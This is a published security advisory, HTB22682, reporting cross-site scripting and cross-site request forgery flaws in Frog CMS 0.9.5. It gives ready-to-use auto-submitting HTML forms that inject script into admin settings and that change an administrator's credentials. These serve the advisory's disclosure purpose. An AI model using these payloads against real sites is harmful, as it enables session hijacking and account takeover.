Total Tests:
Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Multiple Vulnerabilities in Frog CMS

Advisory ID:HTB22682
Product:Frog CMS
Vendor:Philippe Archambault
Vulnerable Versions:0.9.5 and probably prior
Tested Version:0.9.5
Advisory Publication:November 9, 2010 [without technical details]
Vendor Notification:November 9, 2010
Public Disclosure:November 23, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerability in Frog CMS which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerabilities in Frog CMS
1.1 The vulnerability exists due to input sanitation error in the "page[keywords]" parameter in frog/app/controllers/PageController.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/?/page/edit/PAGE_ID" method="post" name="main">
<input type="hidden" name="page[parent_id]" value="1">
<input type="hidden" name="page[title]" value="page title">
<input type="hidden" name="page[slug]" value="sef_url">
<input type="hidden" name="page[breadcrumb]" value="breadcrumbs">
<input type="hidden" name="page[keywords]" value='key"><script>alert(document.cookie)</script>'>
<input type="hidden" name="page[description]" value="">
<input type="hidden" name="page_tag[tags]" value="">
<input type="hidden" name="page[created_on]" value="2010-10-25">
<input type="hidden" name="page[created_on_time]" value="23:28:03">
<input type="hidden" name="page[published_on]" value="2010-10-25">
<input type="hidden" name="page[published_on_time]" value="23:28:04">
<input type="hidden" name="part[0][name]" value="body">
<input type="hidden" name="part[0][id]" value="7">
<input type="hidden" name="part[0][filter_id]" value="markdown">
<input type="hidden" name="part[0][content]" value="page content">
<input type="hidden" name="page[layout_id]" value="">
<input type="hidden" name="page[behavior_id]" value="">
<input type="hidden" name="page[status_id]" value="100">
<input type="hidden" name="page[needs_login]" value="2">
<input type="hidden" name="commit" value="Save and Close">
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to input sanitation error in the "setting[admin_title]" parameter in frog/app/controllers/SettingController.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/?/setting" method="post" name="main">
<input type="hidden" name="setting[admin_title]" value='Frog CMS"><script>alert(document.cookie)</script>'>
<input type="hidden" name="setting[language]" value="en">
<input type="hidden" name="setting[theme]" value="default">
<input type="hidden" name="setting[default_tab]" value="page">
<input type="hidden" name="setting[default_status_id]" value="1">
<input type="hidden" name="setting[default_filter_id]" value="">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>

1.3 The vulnerability exists due to input sanitation error in the "user[email]" parameter in frog/app/controllers/UserController.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/?/user/add" method="post" name="main">
<input type="hidden" name="user[name]" value="">
<input type="hidden" name="user[email]" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="user[username]" value="">
<input type="hidden" name="user[password]" value="">
<input type="hidden" name="user[confirm]" value="">
<input type="hidden" name="user_permission[editor]" value="3">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>


2) Cross-site request forgery (CSRF) in Frog CMS
The vulnerability exists due to insufficient validation of the request origin in frog/app/controllers/UserController.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials.
Exploitation example:
<form action="http://host/admin/?/user/edit/USER_ID" method="post" name="main">
<input type="hidden" name="user[name]" value="username">
<input type="hidden" name="user[email]" value="email@example.com">
<input type="hidden" name="user[password]" value="">
<input type="hidden" name="user[confirm]" value="">
<input type="hidden" name="user_permission[administrator]" value="1">
<input type="hidden" name="user_permission[developer]" value="2">
<input type="hidden" name="user_permission[editor]" value="3">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22682 - https://www.immuniweb.com/advisory/HTB22682 - Multiple Vulnerabilities in Frog CMS
[2] Frog CMS - madebyfrog.com - Frog CMS is an open source content management system originally developed by Philippe Archambault.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential